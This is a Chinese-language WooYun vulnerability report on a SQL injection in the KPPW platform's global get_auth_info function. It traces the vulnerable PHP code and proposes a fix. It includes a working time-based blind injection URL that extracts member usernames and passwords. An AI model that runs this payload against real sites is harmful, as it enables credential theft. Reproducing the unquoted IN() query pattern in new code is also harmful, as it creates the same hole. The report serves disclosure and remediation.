当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-086886

漏洞标题:KPPW最新版SQL注入漏洞九(全局问题导致大面积注入及总结)

相关厂商:keke.com

漏洞作者: xfkxfk

提交时间:2014-12-12 15:33

修复时间:2015-01-18 15:34

公开时间:2015-01-18 15:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-12: 细节已通知厂商并且等待厂商处理中
2014-12-17: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-02-10: 细节向核心白帽子及相关领域专家公开
2015-02-20: 细节向普通白帽子公开
2015-03-02: 细节向实习白帽子公开
2015-01-18: 细节向公众公开

简要描述:

KPPW最新版SQL注入漏洞九,也是全局问题导致的大面积注入,这里申明不是在刷漏洞,因为每一个问题都很严重,都能引发很多问题...

详细说明:

KPPW最新版SQL注入漏洞九,也是全局函数的问题,导致大面积注入...
文件/control/user/account_auth.php

if ($code&&in_array($code,$arrAllowAuth)) {
$code or $code = $keys ['0'];
$code or kekezu::show_msg ( $_lang ['param_error'], "index.php?do=auth", 3, '', 'warning' );
$auth_class = "keke_auth_" . $code . "_class";
$objAuth = new $auth_class ( $code );
$auth_item = $arrAllAuthItems [$code];
$auth_dir = $auth_item ['auth_dir'];
$arrAuthInfo = $objAuth->get_user_auth_info ( $gUid, 0, $intBankAid );
require S_ROOT . "/auth/$code/control/index.php";
require keke_tpl_class::template ( 'auth/' . $code . '/tpl/' . $_K ['template'] . '/'.$step );
die;
} else {
$real_pass = keke_auth_fac_class::auth_check ( 'enterprise', $gUid ) or $real_pass = keke_auth_fac_class::auth_check ( "realname", $gUid );
$arrHasAuthItem = keke_auth_fac_class::get_auth ( $gUserInfo );
$arrUserAuthInfo = $arrHasAuthItem ['info'];
}


这里包含了/auth/$code/control/index.php文件,这里的code我们设置为email
当然code有('realname','enterprise','bank','mobile','email')这五中形式
进入/auth/email/control/index.php文件:

case "step3":
if($email_a_id&&$ac=='check_email'){
$boolAuthRes = $objAuth->audit_auth($active_code,$email_a_id);
header('location:index.php?do=user&view=account&op=auth&code=email');
}
if($arrAuthInfo['auth_status']==1){
$auth_tips ='已通过';
$auth_style = 'success';
}elseif($arrAuthInfo['auth_status']==2){
$auth_tips ='未通过';
$auth_style = 'warning';
}
break;


第三步验证时,$active_code和$email_a_id参数进入验证函数audit_auth
跟进,文件/auth/email/lib/keke_auth_email_class.php

public function audit_auth($active_code,$email_a_id){
global $_K, $kekezu,$_lang;
$user_info=$kekezu->_userinfo;
if(md5($user_info['uid'].$user_info['username'].$user_info['email'])==$active_code){
$arrAuthInfo=$this->get_auth_info($email_a_id);
if(empty($arrAuthInfo[0])){
return false;
}


这里参数$email_a_id又进入函数get_auth_info
跟进,文件/lib/sys/keke_auth_base_class.php

public function get_auth_info($auth_ids){
if(isset($auth_ids)){
if(!stristr($auth_ids,',')) {
return db_factory::query(sprintf(" select * from %s where %s = '%s'",TABLEPRE.$this->_auth_table_name,$this->_primary_key,$auth_ids));
}else{
return db_factory::query(sprintf(" select * from %s where %s in (%s) ",TABLEPRE.$this->_auth_table_name,$this->_primary_key,$auth_ids));
}
}else{
return array();
}
}


到这里,参数$auth_ids = $email_a_id,进入了sql语句
但是当$auth_ids有逗号分隔的话,就进入下面那一条语句in ($auth_ids),在整个参数传递的过程中$auth_ids没有过滤,这里也没有加引号保护,导致注入。
下面我们来看看任何导致大面积注入
问题出在get_auth_info函数,位于文件/lib/sys/keke_auth_base_class.php
lib下面的文件都是系统的全局调用文件,这里的keke_auth_base_class.php也是一样,在所有关于认证的功能里面都会调用,如下面四个文件:

/auth/email/lib/keke_auth_email_class.php
/lib/sys/keke_auth_base_class.php
/lib/sys/keke_auth_base_class.php
/lib/sys/keke_auth_base_class.php


前面两个就是我们这里的漏洞分析,看看下面连个。

public function del_auth($auth_ids,$url=null) {
global $_lang;
$url ="index.php?do=auth&view=list&code=".$this->_auth_code;
is_array($auth_ids) and $ids=implode(",",$auth_ids) or $ids=$auth_ids;
$auth_info=$this->get_auth_info($ids);


以及

public function review_auth($auth_ids,$type='pass',$url=null){
global $_lang;
global $kekezu;
if($url===null){
$url = $_SERVER['HTTP_REFERER'];
}
$prom_obj = keke_prom_class::get_instance ();
is_array($auth_ids) and $auth_ids=implode(",",$auth_ids);
$auth_info=$this->get_auth_info($auth_ids);
$size=sizeof($auth_info);


这里是在del_auth和review_auth函数处调用了漏洞函数get_auth_info
而且进入这两个函数的参数都是没有处理的,最后都直接进入了sql语句,导致sql注入
而且del_auth函数在认证过程中被调用的地方是21处...
review_auth函数在认证过程中被调用的地方是17处...
所以罪魁祸首get_auth_info函数,可以引发大面积的sql注入问题。
总结

在对kppw的系统进行审核过程中发现,只要是在进入sql语句时,如:in (变量),这样的sql语句时,大部分是没有出来这里的变量的,都存在注入问题,请厂商好好排查这样的点


漏洞证明:

邮件认证时,发送邮件:

1.png


成功发送认证邮件后,看看邮箱收到的认证链接:

2.png


然后copy认证链接,构造参数email_a_id,注意这里的id后面的一个必须存在的id,如这里的2,构造后请求为:

http://localhost/KPPW2520141118UTF-8/index.php?do=user&view=account&op=auth&code=email&email_a_id=111111,2)+and+1=if(mid((select+concat(username,password)+from+keke_witkey_member+limit+0,1),1,1)=char(97),sleep(5),2)%23&ac=check_email&step=step3&ver=1&active_code=336f044bb5fbdc73ea5617330c715cfc


这里会演示5秒后返回:

3.png


说明这里username+passw的第一个字符为a,继续即可注入出username+password的值
sql执行日志:

4.png

修复方案:

在in里面加个单引号即可或者个in里面的参数适用intval

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-01-18 15:34

厂商回复:

最新状态:

暂无